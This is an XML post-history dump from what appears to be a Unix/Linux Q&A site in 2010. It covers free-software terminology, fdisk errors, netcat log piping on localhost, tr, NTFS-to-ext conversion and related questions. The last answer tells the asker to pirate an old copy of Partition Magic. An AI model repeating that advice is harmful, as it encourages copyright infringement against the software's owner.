  <row Id="6966" PostHistoryTypeId="2" PostId="3289" RevisionGUID="69a296e9-f07f-4da3-bf8d-27b1a2000179" CreationDate="2010-10-19T20:52:57.927" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;It would be really helpful to me if you could explain the below concept with some examples  &#xD;&#xA;&#xD;&#xA; “free-as-in-speech” V/s “Free-as-in-beer”  ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6967" PostHistoryTypeId="1" PostId="3289" RevisionGUID="69a296e9-f07f-4da3-bf8d-27b1a2000179" CreationDate="2010-10-19T20:52:57.927" UserId="2269" Text=" “free-as-in-speech”  V/s  “Free-as-in-beer”" />
  <row Id="6968" PostHistoryTypeId="3" PostId="3289" RevisionGUID="69a296e9-f07f-4da3-bf8d-27b1a2000179" CreationDate="2010-10-19T20:52:57.927" UserId="2269" Text="élinuxà" />
  <row Id="6969" PostHistoryTypeId="6" PostId="3289" RevisionGUID="a69f5309-f99f-49f8-857e-ad5f7e3abcb7" CreationDate="2010-10-19T21:00:01.130" UserId="1339" Comment="edited tags" Text="élinuxàéphilosophyà" />
  <row Id="6970" PostHistoryTypeId="5" PostId="3289" RevisionGUID="bad82b04-eca4-4332-be7b-d964c5fb2be9" CreationDate="2010-10-19T21:02:18.683" UserId="73" Comment="deleted 85 characters in body; edited title" Text="What is the difference between &quot;free-as-in-speech&quot; and &quot;free-as-in-beer&quot;?&#xD;&#xA;" />
  <row Id="6971" PostHistoryTypeId="4" PostId="3289" RevisionGUID="bad82b04-eca4-4332-be7b-d964c5fb2be9" CreationDate="2010-10-19T21:02:18.683" UserId="73" Comment="deleted 85 characters in body; edited title" Text="“free-as-in-speech”  vs. &quot;free-as-in-beer”" />
  <row Id="6972" PostHistoryTypeId="2" PostId="3290" RevisionGUID="76f30dfb-4ae3-4846-8585-4b28352646e0" CreationDate="2010-10-19T21:09:25.647" UserId="73" Text="&quot;free&quot; is ambiguous in English, and FOSS people tend to mean the former when people misinterpret it as the latter, which is why the phrases came about&#xD;&#xA;&#xD;&#xA;* **free as in speech** means freedom; in an open-source context, the license doesn't prevent you from fiddling with the code or making your own changes&#xD;&#xA;* **free as in beer** means price; the software costs nothing&#xD;&#xA;&#xD;&#xA;There was (is?) a lot of confusion when people said they support &quot;free software&quot; -- free (as in speech) software doesn't need to cost nothing, and costing nothing doesn't necessarily make software &quot;free&quot;." />
  <row Id="6973" PostHistoryTypeId="2" PostId="3291" RevisionGUID="80924359-c66c-4c5d-a40f-0d205590bfba" CreationDate="2010-10-19T21:11:53.463" UserId="1339" Text="&quot;Free as in free speech&quot; vs &quot;Free as in free beer&quot; isn't a concept, it is an example for an concept. :-)&#xD;&#xA;&#xD;&#xA;This example belongs to the GPL and is used to clarify the definition of &quot;free&quot; in the term &quot;Free Software&quot;.&#xD;&#xA;&#xD;&#xA;Free beer is gratis. It doesn't cost you anything. The term refers to the price of a product. This is not the intention of the word &quot;free&quot; in this context.&#xD;&#xA;&#xD;&#xA;The intention is more like &quot;free&quot; in free speech, the liberty to say the things you want and don't getting censored.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6974" PostHistoryTypeId="6" PostId="3289" RevisionGUID="1bc46be7-77b2-496f-a2b6-6d27ab370e26" CreationDate="2010-10-19T21:21:26.873" UserId="1339" Comment="removed linux tag becaus it applies to licensing" Text="éphilosophyà" />
  <row Id="6975" PostHistoryTypeId="2" PostId="3292" RevisionGUID="70eef94c-0f1d-4c57-a8d1-6959eda8ef50" CreationDate="2010-10-19T21:49:30.753" UserId="2356" Text="I am having problems using fdisk to clear the partition table of my sd card. the sd card is identified in the dev folder when inserted into the sd card reader, however when the following command in typed in `fdisk /dev/sde` the response in terminal is `unable to open sde`. I have also tried using sde1 which is the partition on the sd card and it still failed.&#xD;&#xA;&#xD;&#xA;Help!!!!" />
  <row Id="6976" PostHistoryTypeId="1" PostId="3292" RevisionGUID="70eef94c-0f1d-4c57-a8d1-6959eda8ef50" CreationDate="2010-10-19T21:49:30.753" UserId="2356" Text="fdisk unable to open" />
  <row Id="6977" PostHistoryTypeId="3" PostId="3292" RevisionGUID="70eef94c-0f1d-4c57-a8d1-6959eda8ef50" CreationDate="2010-10-19T21:49:30.753" UserId="2356" Text="éubuntuàéfdiskà" />
  <row Id="6978" PostHistoryTypeId="2" PostId="3293" RevisionGUID="cc4a952e-8f6b-49c1-816d-bf109f075778" CreationDate="2010-10-19T22:23:18.427" UserId="2311" Text="You can use netcat to grep the results of tail -f as new results come in quite easily.&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    sudo nc -s localhost -l -p 1337 | grep ssh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    tail -f /var/log/file.log | nc 127.0.0.1 1337&#xD;&#xA;&#xD;&#xA;This sets grep to listen to results for input coming from port 1337.  &#xD;&#xA;The second command pipes the output of tail -f to netcat and sends it out localhost 1337.&#xD;&#xA;To do it locally you need to switch ttys for each of the two sets of commands, or use something like screen." />
  <row Id="6979" PostHistoryTypeId="2" PostId="3294" RevisionGUID="a89df06c-eb1d-4cf0-891c-38b96afcd7bc" CreationDate="2010-10-19T22:35:14.340" UserId="2334" Text="I find myself spending a lot more time working with the webserver at work than I have in other recent jobs. Are there any good tutorials or resources I can read to get myself more up to speed so that I am not confused by basic things like 'how to search all files in a directory and below for a given string', or 'how to find out how much memory is allocated to php'&#xD;&#xA;&#xD;&#xA;Basically what should I know for daily interaction with a linux webserver and what are good resources to learn it.&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="6980" PostHistoryTypeId="1" PostId="3294" RevisionGUID="a89df06c-eb1d-4cf0-891c-38b96afcd7bc" CreationDate="2010-10-19T22:35:14.340" UserId="2334" Text="Good Introductory resources for linux" />
  <row Id="6981" PostHistoryTypeId="3" PostId="3294" RevisionGUID="a89df06c-eb1d-4cf0-891c-38b96afcd7bc" CreationDate="2010-10-19T22:35:14.340" UserId="2334" Text="élinuxàéserverà" />
  <row Id="6982" PostHistoryTypeId="2" PostId="3295" RevisionGUID="cd55e067-df2b-4586-ba7c-0e8f0747e41e" CreationDate="2010-10-19T22:36:59.790" UserId="1178" Text="This probably will not suit your request, but [jEdit][1] has an extensive configuration for language highlighting if you want an editor that will highlight your new language. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jedit.org/" />
  <row Id="6983" PostHistoryTypeId="2" PostId="3296" RevisionGUID="0e770001-76fb-4a9d-b6f8-ee684790ef12" CreationDate="2010-10-20T02:18:51.737" UserId="146" Text="Besides the above mentioned binary rpm's for Fedora, the xfontsel source code is available from X.Org at http://www.x.org/releases/individual/app/xfontsel-1.0.3.tar.bz2" />
  <row Id="6984" PostHistoryTypeId="6" PostId="3229" RevisionGUID="dedc2bf6-5cf9-4fac-81d6-7c42e1bbcfc3" CreationDate="2010-10-20T02:58:48.760" UserId="1860" Comment="edited tags" Text="écommandölineàéshellàégrepàétailà" />
  <row Id="6985" PostHistoryTypeId="2" PostId="3297" RevisionGUID="2e8477bb-cb4d-41bd-ad2f-4c3323b99061" CreationDate="2010-10-20T04:08:47.933" UserId="4" Text="I have a script which outputs the following text:&#xD;&#xA;&#xD;&#xA;    ADSL Line State:        Up&#xD;&#xA;    ADSL Startup Attempts:  1&#xD;&#xA;    ADSL Modulation:        DMT&#xD;&#xA;    ADSL Data Path:         Fast&#xD;&#xA;    Datapump Version:       DSP 7.2.3.0, HAL 7.2.1.0&#xD;&#xA;    SNR Margin:                   8.20        9.00 dB&#xD;&#xA;    Line Attenuation:            57.50       31.00 dB&#xD;&#xA;    Output Power:                17.09       12.34 dBm&#xD;&#xA;    Errored Seconds:                 0           0&#xD;&#xA;    Loss of Signal:                  0         476&#xD;&#xA;    Loss of Frame:                   0           0&#xD;&#xA;    CRC Errors:                  57921         416&#xD;&#xA;    Data Rate:                    2880        1024&#xD;&#xA;&#xD;&#xA;How can I remove the end-of-line character for each line?&#xD;&#xA;&#xD;&#xA;I tried some solutions like this, but they don't work:&#xD;&#xA;&#xD;&#xA;    ./script | sed -e 's/$//'&#xD;&#xA;&#xD;&#xA;    ./script | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6986" PostHistoryTypeId="1" PostId="3297" RevisionGUID="2e8477bb-cb4d-41bd-ad2f-4c3323b99061" CreationDate="2010-10-20T04:08:47.933" UserId="4" Text="Remove end of line characters from stdout?" />
  <row Id="6987" PostHistoryTypeId="3" PostId="3297" RevisionGUID="2e8477bb-cb4d-41bd-ad2f-4c3323b99061" CreationDate="2010-10-20T04:08:47.933" UserId="4" Text="éshellàéshellöscriptà" />
  <row Id="6988" PostHistoryTypeId="4" PostId="3297" RevisionGUID="98bff801-c03a-43f0-b85a-4d13a59315dc" CreationDate="2010-10-20T04:14:57.177" UserId="4" Comment="edited title; added 195 characters in body" Text="Remove end of line characters from stdout? Multiple lines into a single line." />
  <row Id="6989" PostHistoryTypeId="5" PostId="3297" RevisionGUID="98bff801-c03a-43f0-b85a-4d13a59315dc" CreationDate="2010-10-20T04:14:57.177" UserId="4" Comment="edited title; added 195 characters in body" Text="I have a script which outputs the following text. This is the output from a [Netopia 2210-02 ADSL2][1] modem.&#xD;&#xA;&#xD;&#xA;    ADSL Line State:        Up&#xD;&#xA;    ADSL Startup Attempts:  1&#xD;&#xA;    ADSL Modulation:        DMT&#xD;&#xA;    ADSL Data Path:         Fast&#xD;&#xA;    Datapump Version:       DSP 7.2.3.0, HAL 7.2.1.0&#xD;&#xA;    SNR Margin:                   8.20        9.00 dB&#xD;&#xA;    Line Attenuation:            57.50       31.00 dB&#xD;&#xA;    Output Power:                17.09       12.34 dBm&#xD;&#xA;    Errored Seconds:                 0           0&#xD;&#xA;    Loss of Signal:                  0         476&#xD;&#xA;    Loss of Frame:                   0           0&#xD;&#xA;    CRC Errors:                  57921         416&#xD;&#xA;    Data Rate:                    2880        1024&#xD;&#xA;&#xD;&#xA;How can I remove the end-of-line character for each line?&#xD;&#xA;&#xD;&#xA;I tried some solutions like this, but they don't work:&#xD;&#xA;&#xD;&#xA;    ./script | sed -e 's/$//'&#xD;&#xA;&#xD;&#xA;    ./script | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.motorola.com/Consumers/US-EN/Consumer-Product-and-Services/DSL-Modems-and-Gateways/Netopia-ADSL2plus-Modem-2210-US-EN" />
  <row Id="6990" PostHistoryTypeId="2" PostId="3298" RevisionGUID="067ff953-e660-4cd0-880f-5a4620e51e92" CreationDate="2010-10-20T04:34:43.537" UserId="73" Text="`sed` won't work (easily) because it operates on lines one at a time; you could do it, but it would involve copying the whole input into the hold buffer&#xD;&#xA;&#xD;&#xA;`tr` actually should work the way you pasted it; are you sure the newlines are `\n`s? You can simplify it a bit by deleting the newlines instead of converting them to spaces:&#xD;&#xA;&#xD;&#xA;    tr -d '\n'&#xD;&#xA;" />
  <row Id="6991" PostHistoryTypeId="5" PostId="3276" RevisionGUID="2f0e6683-aa07-4f89-a2fb-153cb0d89d74" CreationDate="2010-10-20T04:56:13.100" UserId="1383" Comment="typo" Text="It works. But take care that output is no longer instantaneous: it gets buffered through the pipe." />
  <row Id="6992" PostHistoryTypeId="2" PostId="3299" RevisionGUID="f4066679-742a-4115-8ea0-2218743888ab" CreationDate="2010-10-20T06:08:39.300" UserId="1327" Text="As [Falmarri](http://unix.stackexchange.com/users/1571/falmarri) says, solving individual problems when they arise will help you learn a lot quicker than studying up a book or doing all the theory.&#xD;&#xA;&#xD;&#xA;If you need to know the basics, get a unused PC at home and play with it. Install and use distro's that doesn't do everything for you, Arch Linux has the perfect installation [wiki][2] for this. Slackware is another good one.&#xD;&#xA;&#xD;&#xA;Also, to solve those individual problems, ask questions **here** on [Unix SE][1]. :)&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/ask&#xD;&#xA;[2]:http://www.archlinux.org/&#xD;&#xA;[3]:http://www.slackware.com/&#xD;&#xA;[4]:http://wiki.archlinux.org/index.php/Beginners%27_Guide" />
  <row Id="6993" PostHistoryTypeId="5" PostId="3294" RevisionGUID="91ed89f6-2c47-4a1b-b491-d9e76b378c6b" CreationDate="2010-10-20T06:09:31.653" UserId="1327" Comment="deleted 11 characters in body" Text="I find myself spending a lot more time working with the webserver at work than I have in other recent jobs. Are there any good tutorials or resources I can read to get myself more up to speed so that I am not confused by basic things like 'how to search all files in a directory and below for a given string', or 'how to find out how much memory is allocated to php'&#xD;&#xA;&#xD;&#xA;Basically what should I know for daily interaction with a linux webserver and what are good resources to learn it." />
  <row Id="6994" PostHistoryTypeId="5" PostId="3299" RevisionGUID="c5ba53df-46a1-4a26-b786-814a5787d57a" CreationDate="2010-10-20T06:16:56.720" UserId="1327" Comment="added 452 characters in body" Text="Specific things you might want to look into is:&#xD;&#xA;&#xD;&#xA;  - **[Shell scripting][5]**  &#xD;&#xA;    Being able to use bash is a must for anyone thats going to get intimate on the command line&#xD;&#xA;&#xD;&#xA;  - **Services**  &#xD;&#xA;    You will have to understand the services your webserver will be running. If your running PHP and MYSQL. You'll want to read about [LAMP][2].   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As [Falmarri](http://unix.stackexchange.com/users/1571/falmarri) says, solving individual problems when they arise will help you learn a lot quicker than studying up a book or doing all the theory.&#xD;&#xA;&#xD;&#xA;If you need to know the **unix** basics, get a unused PC at home and play with it. Install and use distro's that doesn't do everything for you, Arch Linux has the perfect installation [wiki][2] for this. Slackware is another good one.&#xD;&#xA;&#xD;&#xA;Also, to solve those individual problems, ask questions **here** on [Unix SE][1] or [Serverfault][6] :)&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/ask&#xD;&#xA;[2]:http://www.archlinux.org/&#xD;&#xA;[3]:http://www.slackware.com/&#xD;&#xA;[4]:http://wiki.archlinux.org/index.php/Beginners%27_Guide&#xD;&#xA;[5]:http://www.freeos.com/guides/lsst/&#xD;&#xA;[6]:http://serverfault.com/" />
  <row Id="6995" PostHistoryTypeId="2" PostId="3300" RevisionGUID="bb4c863d-2ed0-4637-8ecc-83f461973bef" CreationDate="2010-10-20T06:17:53.343" UserId="2327" Text="Hi,&#xD;&#xA;&#xD;&#xA;from taking a look at [this](http://linuxgazette.net/172/peterson.html) tutorial, I see no difference.&#xD;&#xA;&#xD;&#xA;But taking a look at the [template documentation from rsyslog](http://www.rsyslog.com/doc/rsyslog_conf_templates.html), there seems to be a difference with mysql depending on the setting for parameter `NO_BACKSLASH_ESCAPES`.&#xD;&#xA;&#xD;&#xA;From the docs:&#xD;&#xA;&#xD;&#xA;    sql - format the string suitable for a SQL statement in MySQL format. This will &#xD;&#xA;    replace single quotes (&quot;'&quot;) and the backslash character by their backslash-escaped&#xD;&#xA;    counterpart (&quot;\'&quot; and &quot;\\&quot;) inside each field. Please note that in MySQL&#xD;&#xA;    configuration, the NO_BACKSLASH_ESCAPES mode must be turned off for this format to&#xD;&#xA;    work (this is the default).&#xD;&#xA;&#xD;&#xA;    stdsql - format the string suitable for a SQL statement that is to be sent to a&#xD;&#xA;    standards-compliant sql server. This will replace single quotes (&quot;'&quot;) by two single&#xD;&#xA;    quotes (&quot;''&quot;) inside each field. You must use stdsql together with MySQL if in MySQL&#xD;&#xA;    configuration the NO_BACKSLASH_ESCAPES is turned on.&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="6996" PostHistoryTypeId="2" PostId="3301" RevisionGUID="65055872-a18b-47a2-97c1-2e39c87b0fac" CreationDate="2010-10-20T06:34:55.860" UserId="1327" Text="Like, Falmarri indicated in his comment, you are not running `fdisk` [as root][1]. &#xD;&#xA;&#xD;&#xA;The easiest way to do this, is to run: &#xD;&#xA;&#xD;&#xA;    $ sudo fdisk &lt;path-to-drive&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root&#xD;&#xA;" />
  <row Id="6997" PostHistoryTypeId="2" PostId="3302" RevisionGUID="6a852799-baf7-49d7-ba95-5489e19917c9" CreationDate="2010-10-20T06:37:11.263" UserId="2327" Text="Hi,&#xD;&#xA;&#xD;&#xA;a good general starting point for Linux administration is this book:  &#xD;&#xA;[Linux Administration Handbook (2nd Edition)](http://www.amazon.com/Linux-Administration-Handbook-Trent-Hein/dp/0131480049/ref=sr_1_fkmr0_3?ie=UTF8&amp;qid=1287555912&amp;sr=8-3-fkmr0)&#xD;&#xA;&#xD;&#xA;It is about a lot of the basics and also has a chapter about web.&#xD;&#xA;&#xD;&#xA;Besides the points already mentioned, this things might come handy:&#xD;&#xA;&#xD;&#xA;- perl/python or another scripting language for automating tasks&#xD;&#xA;- `sed` and `awk` are always useful (IBM has some good tutorials, search for sed by example and awk by example)&#xD;&#xA;- make yourself comfortable with the logs (webserver and system logs)&#xD;&#xA;- `cron` and `at` are your friends for repeating and timed tasks&#xD;&#xA;- monitoring is always useful (system + web). there are too much tools to give any advice here, just as starting point: `sar`, nagios, cacti, ...&#xD;&#xA;&#xD;&#xA;For some more inspiration, take a look at these posts on serverfault:  &#xD;&#xA;- http://serverfault.com/questions/13470/recommend-books-resources-for-this-stack-linux-lighttpd-postgres-webpy&#xD;&#xA;- http://serverfault.com/questions/70932/linux-system-administrator-guide&#xD;&#xA;- http://serverfault.com/questions/20972/what-is-the-best-resource-for-really-understanding-linux-deeply&#xD;&#xA;- http://serverfault.com/questions/30320/learning-linux&#xD;&#xA;&#xD;&#xA;They will give you a lot starting points. Don't feel overwhelmed. Try to pick the topics you currently need the most to get the job done." />
  <row Id="6998" PostHistoryTypeId="2" PostId="3303" RevisionGUID="401f0280-c5b0-4fcf-a1c0-e8f201fa7c16" CreationDate="2010-10-20T06:43:17.427" UserId="1327" Text="Displays a nice ascii art of the current proccess tree, with the most cpu intensive proccess higlighted. &#xD;&#xA;&#xD;&#xA;    while true; do clear; pstree $( ps -eo pid --sort %cpu | tail -n 1 ); sleep 1; done&#xD;&#xA;&#xD;&#xA;Kill it with `Ctrl + C`" />
  <row Id="6999" PostHistoryTypeId="5" PostId="2148" RevisionGUID="9a6f6aab-5873-408d-ad0e-976920c609d6" CreationDate="2010-10-20T06:44:40.730" UserId="1327" Comment="added 46 characters in body" Text="See this **[question][1]**.&#xD;&#xA;&#xD;&#xA;When you run `ps ax | grep string`:&#xD;&#xA;&#xD;&#xA;    [steve@sage-arch ~]$ ps ax | grep openbox&#xD;&#xA;     3363 ?        Ss     0:00 /usr/bin/openbox&#xD;&#xA;     3382 ?        Ss     0:00 /usr/bin/ssh-agent -- /usr/bin/openbox-session&#xD;&#xA;     3386 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3388 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3389 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3390 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     5100 pts/0    S+     0:00 grep openbox&#xD;&#xA;&#xD;&#xA;the last line containing `grep` is somethings a bit **anoying**&#xD;&#xA;&#xD;&#xA;You can rid yourself of this by running `ps ax | grep [s]tring`:&#xD;&#xA;&#xD;&#xA;    [steve@sage-arch ~]$ ps ax | grep [o]penbox&#xD;&#xA;     3363 ?        Ss     0:00 /usr/bin/openbox&#xD;&#xA;     3382 ?        Ss     0:00 /usr/bin/ssh-agent -- /usr/bin/openbox-session&#xD;&#xA;     3386 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3388 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3389 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3390 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**update**: or just run `pgrep string` &#xD;&#xA; [1]:http://unix.stackexchange.com/questions/2062/grep-why-do-brackets-in-grep-pattern-remove-the-grep-process-from-ps-results" />
  <row Id="7000" PostHistoryTypeId="2" PostId="3304" RevisionGUID="14f8092d-e79a-40e4-a04a-6ccc0c2e6c2b" CreationDate="2010-10-20T07:06:58.530" UserId="1945" Text="In windows I can open &quot;My Computer&quot; and click on the &quot;Webcam&quot; icon to get a feed from my webcam. I can also take snapshots of that feed.&#xD;&#xA;&#xD;&#xA;Can I do the same in Ubuntu? Without installing any extra applications like Photobooth.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7001" PostHistoryTypeId="1" PostId="3304" RevisionGUID="14f8092d-e79a-40e4-a04a-6ccc0c2e6c2b" CreationDate="2010-10-20T07:06:58.530" UserId="1945" Text="How do I watch my webcams feed in linux" />
  <row Id="7002" PostHistoryTypeId="3" PostId="3304" RevisionGUID="14f8092d-e79a-40e4-a04a-6ccc0c2e6c2b" CreationDate="2010-10-20T07:06:58.530" UserId="1945" Text="élinuxàéubuntuàévideoà" />
  <row Id="7003" PostHistoryTypeId="5" PostId="3302" RevisionGUID="9dad4eff-b7cc-4a68-841b-3ecbf8266437" CreationDate="2010-10-20T07:12:57.960" UserId="1327" Comment="added 80 characters in body" Text="A good general starting point for Linux administration is this book:&#xD;&#xA;&#xD;&#xA;  - [Linux Administration Handbook (2nd Edition)][1]&#xD;&#xA;&#xD;&#xA;It is about a lot of the basics and also has a chapter about web.&#xD;&#xA;&#xD;&#xA;Besides the points already mentioned, this things might come handy:&#xD;&#xA;&#xD;&#xA;- perl/python or another scripting language for automating tasks&#xD;&#xA;- `sed` and `awk` are always useful (IBM has some good tutorials, search for sed by example and awk by example)&#xD;&#xA;- make yourself comfortable with the logs (webserver and system logs)&#xD;&#xA;- `cron` and `at` are your friends for repeating and timed tasks&#xD;&#xA;- monitoring is always useful (system + web). there are too much tools to give any advice here, just as starting point: `sar`, nagios, cacti, ...&#xD;&#xA;&#xD;&#xA;For some more inspiration, take a look at these posts on serverfault:  &#xD;&#xA;&#xD;&#xA;- [Recommend books/resources for this stack: linux, lighttpd, postgres, webpy][2]&#xD;&#xA;- [Linux System Administrator Guide?][3]&#xD;&#xA;- [What is the best resource for really understanding Linux deeply][4]&#xD;&#xA;- [“Learning” Linux][5]&#xD;&#xA;&#xD;&#xA;They will give you a lot starting points. Don't feel overwhelmed. Try to pick the topics you currently need the most to get the job done.&#xD;&#xA;&#xD;&#xA;  [1]:http://www.amazon.com/Linux-Administration-Handbook-Trent-Hein/dp/0131480049/ref=sr_1_fkmr0_3?ie=UTF8&amp;qid=1287555912&amp;sr=8-3-fkmr0&#xD;&#xA;  [2]:http://serverfault.com/questions/13470&#xD;&#xA;  [3]:http://serverfault.com/questions/70932&#xD;&#xA;  [4]:http://serverfault.com/questions/20972&#xD;&#xA;  [5]:http://serverfault.com/questions/30320/learning-linux" />
  <row Id="7004" PostHistoryTypeId="2" PostId="3305" RevisionGUID="0a091570-6aa8-4a52-a017-789178361ad3" CreationDate="2010-10-20T08:20:40.567" UserId="2360" Text="Hi,&#xD;&#xA; I am trying to install Ubuntu/Fedora 64 bit versions on my machine and they shout back saying my CPU does not support x86_64 bit architecture and forces me to use i686 versions.&#xD;&#xA;&#xD;&#xA; I am currently running Windows 7 64 bit version on my laptop.&#xD;&#xA; The processor is :  Intel Centrino Core 2 Duo CPU T6500 @ 2.10 GHz&#xD;&#xA;&#xD;&#xA; I am hoping this is the right place to ask this question. Why is it that even though I have a 64 bit CPU, I am unable to install Linux 64 bit OS?&#xD;&#xA;&#xD;&#xA;- Ivar" />
  <row Id="7005" PostHistoryTypeId="1" PostId="3305" RevisionGUID="0a091570-6aa8-4a52-a017-789178361ad3" CreationDate="2010-10-20T08:20:40.567" UserId="2360" Text="Linux distro installation on 64 bit processor" />
  <row Id="7006" PostHistoryTypeId="3" PostId="3305" RevisionGUID="0a091570-6aa8-4a52-a017-789178361ad3" CreationDate="2010-10-20T08:20:40.567" UserId="2360" Text="éubuntuàéfedoraà" />
  <row Id="7007" PostHistoryTypeId="2" PostId="3306" RevisionGUID="8c46d088-0f68-4b61-a780-2cab1db6d315" CreationDate="2010-10-20T08:22:42.850" UserId="2360" Text="http://members.optushome.com.au/brendanscott/papers/four_fs_fallacies_brendanscott_020920.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7008" PostHistoryTypeId="6" PostId="3305" RevisionGUID="6f31ce7c-2f5a-405d-83f3-aa7f032b191d" CreationDate="2010-10-20T08:32:28.163" UserId="250" Comment="edited tags" Text="éubuntuàéfedoraàé64bità" />
  <row Id="7009" PostHistoryTypeId="2" PostId="3307" RevisionGUID="afa2118c-82a0-4be9-b822-ab72c34bdcf2" CreationDate="2010-10-20T09:52:26.543" UserDisplayName="James" Text="Hi *,  &#xD;&#xA;&#xD;&#xA;I have five gifs all with the same number of frames and the same framerate. Is it possible to montage these together into one gif where each frame is similar to a normal montage of static images and is the next frame in the gif. Furthermore, i would want the first two gifs on the first row, then a space, then the last three gifs.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Many thanks,&#xD;&#xA;James" />
  <row Id="7010" PostHistoryTypeId="1" PostId="3307" RevisionGUID="afa2118c-82a0-4be9-b822-ab72c34bdcf2" CreationDate="2010-10-20T09:52:26.543" UserDisplayName="James" Text="Montage together five gifs" />
  <row Id="7011" PostHistoryTypeId="3" PostId="3307" RevisionGUID="afa2118c-82a0-4be9-b822-ab72c34bdcf2" CreationDate="2010-10-20T09:52:26.543" UserDisplayName="James" Text="élinuxàéshellàébashàéimagingà" />
  <row Id="7012" PostHistoryTypeId="2" PostId="3308" RevisionGUID="d5bea732-a995-4786-9c7d-5ea008bc0628" CreationDate="2010-10-20T09:56:56.867" UserId="892" Text="I've decided to go Linux only, finally!&#xD;&#xA;&#xD;&#xA;This also means that I have a bunch of disks still under NTFS.&#xD;&#xA;&#xD;&#xA;I don't have spare space anywhere to transfer the files to and then just re-format the drive so I need a tool, or tool chain, to make it on the disk itself.&#xD;&#xA;&#xD;&#xA;I imagine I could do it with some patience like this:&#xD;&#xA;&#xD;&#xA;1. Defrag NTFS.&#xD;&#xA;2. Shrink NTFS partition some percent.&#xD;&#xA;3. Create ext[n] partition on left space.&#xD;&#xA;4. Copy some files until ext[n] is full.&#xD;&#xA;5. Shrink NTFS partition.&#xD;&#xA;6. Grow etx[n] partition.&#xD;&#xA;7. Copy files.&#xD;&#xA;&#xD;&#xA;and repeat 5, 6 and 7 until it's all transferred.&#xD;&#xA;&#xD;&#xA;It's a last resource path if I can't find any tool or tool-chain to do it automatically." />
  <row Id="7013" PostHistoryTypeId="1" PostId="3308" RevisionGUID="d5bea732-a995-4786-9c7d-5ea008bc0628" CreationDate="2010-10-20T09:56:56.867" UserId="892" Text="What's the best tool chain or single tool to transform a NTFS to ext[n] filesystem?" />
  <row Id="7014" PostHistoryTypeId="3" PostId="3308" RevisionGUID="d5bea732-a995-4786-9c7d-5ea008bc0628" CreationDate="2010-10-20T09:56:56.867" UserId="892" Text="épartitionàéswapà" />
  <row Id="7015" PostHistoryTypeId="2" PostId="3309" RevisionGUID="63e7672f-531b-4871-a8ed-65024b512230" CreationDate="2010-10-20T10:03:30.727" UserId="1941" Text="You can do the described steps using gparted, however, I'd advice you to think twice about it. When fiddling with partitions one should be 100% sure to have a working and up-to-date backup ready because there is a low but significant chance that something goes wrong. When you have such a backup, it is probably easier to just reformat and copy the backup back to disk. If you don't have (which is risky in itself), I wouldn't take the risk." />
  <row Id="7016" PostHistoryTypeId="2" PostId="3310" RevisionGUID="2261bf18-6b5f-43a5-adce-1e2533f0d2d8" CreationDate="2010-10-20T11:42:42.520" UserId="2344" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I tried to google it with no success.&#xD;&#xA;&#xD;&#xA;Is there any existing step by step guide instructing how to install 2 different Linux OSs (say, Red Hat and SUSE), and Windows OS on the same machine?&#xD;&#xA;&#xD;&#xA;(When tried it I entangled with the partitions configuration, and I've heard from others that the secondary Linux has to be installed without its boot loader).&#xD;&#xA;&#xD;&#xA;Thank you in advance." />
  <row Id="7017" PostHistoryTypeId="1" PostId="3310" RevisionGUID="2261bf18-6b5f-43a5-adce-1e2533f0d2d8" CreationDate="2010-10-20T11:42:42.520" UserId="2344" Text="Step-by-step guide for installation of 2 different Linux OSs and Window OS - on the same computer" />
  <row Id="7018" PostHistoryTypeId="3" PostId="3310" RevisionGUID="2261bf18-6b5f-43a5-adce-1e2533f0d2d8" CreationDate="2010-10-20T11:42:42.520" UserId="2344" Text="éinstallàéwindowsàéosà" />
  <row Id="7019" PostHistoryTypeId="2" PostId="3311" RevisionGUID="be0e02b0-6655-4cc8-86e7-6ae28957a06e" CreationDate="2010-10-20T12:01:50.313" UserId="2359" Text="The problem is that you grow a file system from the end, not the beginning, so you can't really do what you're after.&#xD;&#xA;&#xD;&#xA;Your best approach is to copy the contents of the partition to another device, verify it, and then destroy the NTFS partition before re-creating it as ext3.  Then you can restore the data." />
  <row Id="7020" PostHistoryTypeId="2" PostId="3312" RevisionGUID="6bb1c7c2-f66e-4123-abc1-d38741077860" CreationDate="2010-10-20T12:07:13.600" UserId="29" Text="The best tool I found for resizing ntfs, ever was partition magic, and unlike gparted it could move the partition on either side. You should look for an old copy of this, and pirate it (it's no longer available windows software), it's ext supports sucks. I then recommend making your ext partitions *before* the ntfs partition, and use gparted to grow the ext partition, and partition magic to shrink the ntfs partition, from windows." />
